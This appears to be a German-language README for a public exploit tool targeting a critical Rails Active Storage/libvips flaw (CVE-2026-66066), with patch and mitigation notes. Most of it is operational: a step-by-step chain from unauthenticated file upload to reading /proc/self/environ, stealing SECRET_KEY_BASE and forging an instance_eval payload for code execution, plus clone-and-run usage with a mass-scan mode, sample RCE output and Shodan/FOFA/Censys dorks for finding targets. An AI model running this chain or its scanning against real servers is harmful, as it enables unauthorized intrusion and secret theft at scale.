
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 ist eine kritische (CVSS 9.5) Pre-Authentifizierungs-Kette von beliebigem Dateilesen bis zur Remote-Code-Ausführung in Ruby on Rails Active Storage. Betroffen sind Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 und 8.1.0–8.1.3 in ihrer Standardkonfiguration.
Die Schwachstelle nutzt eine Vier-Ebenen-Parser-Konfusion über Rails, libvips, libmatio und HDF5 hinweg aus. Eine manipulierte Datei mit einem MATLAB-5.0-Header (der den Sniffer von libvips erfüllt) und einem HDF5-v7.3-Container (der von libmatio weitergeleitet wird) enthält ein externes Dataset, das auf einen beliebigen serverseitigen Dateipfad verweist. Wenn ActiveStorage diese Datei als Bildvariante verarbeitet, werden die Bytes der Zieldatei zu Bildpixeln – was beliebiges Dateilesen ohne Authentifizierung ermöglicht.
Sobald SECRET_KEY_BASE aus /proc/self/environ oder aus Credential-Dateien extrahiert wurde, leitet der Angreifer den Active-Storage-Verifier-Schlüssel ab und fälscht ein signiertes Varianten-JSON, das instance_eval enthält, um Remote-Code-Ausführung zu erreichen.
Betroffene Installationen: 500K+ Rails-Anwendungen (Rails 7+ Standard
variant_processor = :vips) Entdeckt von: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, Juli 2026 Patch: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29. Juli 2026)
| Branch | Verwundbar | Behoben |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x ist nur betroffen, wenn variant_processor = :vips manuell aktiviert wurde.
Entdeckt von: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph Referenz-PoC: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
Der Exploit verkettet zwei unabhängige Content-Type-Konflikte über vier Komponenten hinweg:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
„Kein legitimer Writer erzeugt sowohl MATLAB 5.0 an Byte 0 als auch 0x0200 an Byte 124."
Blob#variable? vertraut der Datenbankspalte, die beim direkten Upload befüllt wird. Es werden keine Bytes geprüft.Vips::Image.new_from_file iteriert über die Loader; der Sniffer von matload prüft nur 10 Bytes.0x0200 wählt das HDF5-Backend unabhängig vom beschreibenden Text.H5Pset_external erlaubt es, dass die Rohbytes eines Datasets in einer beliebigen externen Datei liegen. libmatio ruft H5Dread auf, ohne H5Pget_external_count zu prüfen.Transformers::Vips erbt validate_transformation von der Basisklasse, die nur combine_options blockiert. Beliebige Methodennamen werden an durchgereicht.1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"
Eine erfolgreiche Ausnutzung führt zu Remote-Code-Ausführung als Rails-Prozessbenutzer:
SECRET_KEY_BASE extrahieren → signierte Cookies, Sessions und ActiveStorage-Tokens fälschencredentials.yml.enc entschlüsseln → Datenbankpasswörter, Cloud-Storage-Schlüssel, API-Tokens von DrittanbieternEs ist kein Konto in der Anwendung erforderlich — der Direct-Upload-Endpunkt akzeptiert standardmäßig nicht authentifizierte Anfragen.
Der Fix blockiert nicht vertrauenswürdige libvips-Loader:
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1
Dadurch wird verhindert, dass matload, svgload, fitsload, niiload, radload und openslideload nicht vertrauenswürdige Eingaben verarbeiten. Führen Sie ein Upgrade auf Rails 7.2.3.2, 8.0.5.1 oder 8.1.3.1 durch. Erforderlich sind libvips >= 8.13 und ruby-vips >= 2.2.1.
Nach dem Patch: Rotieren Sie alle Geheimnisse, die vom Rails-Prozess gelesen werden können — SECRET_KEY_BASE, RAILS_MASTER_KEY, Datenbank-Zugangsdaten und Cloud-Storage-Schlüssel.
NUR FÜR BILDUNGS- UND AUTORISIERTE TESTZWECKE.
Nicht gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers verwenden. Die Autoren übernehmen keine Haftung für Missbrauch.
Entdeckt vom Ethiack Research Team + RyotaK + bl0rph. Nicht mit Ruby on Rails verbunden.
| Bytes | Zweck | Wert |
|---|
| 0–9 | libvips sniffer | MATLAB 5.0 |
| 10–123 | Padding | Leerzeichen |
| 124–125 | libmatio-Dispatcher | 0x0200 (HDF5 v7.3) |
| 126–127 | Endian-Marker | 0x4d49 (IM) |
| 128–511 | HDF5-Userblock | Padding |
| 512+ | HDF5-Superblock | Container mit externem Dataset |
Vips::Image.public_send| Datei | Zweck |
|---|
activestorage/app/models/active_storage/blob.rb | variable? vertraut der Spalte content_type |
activestorage/app/models/active_storage/blob/representable.rb | Die Representation-Route löst Blob und Variation unabhängig auf |
activestorage/app/models/active_storage/variation.rb | decode verifiziert den Variationsschlüssel; keine Querverbindung zum Blob |
image_processing/lib/image_processing/transformers/vips.rb | Keine Methoden-Allowlist — erbt das Verhalten der Basisklasse |
libvips/foreign/matload.c | vips__mat_ismat prüft nur die ersten 10 Bytes |
| Ressource | Link |
|---|
| Rails-Sicherheitshinweis | GHSA-xr9x-r78c-5hrm |
| Referenz-PoC (0xsha) | KindaRails2Shell |
| Ethiack-Forschung | kindarails2shell |
| Rails Forensics | rails-forensics-CVE-2026-66066 |
| Metasploit-Modul | rapid7/metasploit-framework#21733 |
| CWE-94 | Code-Injection |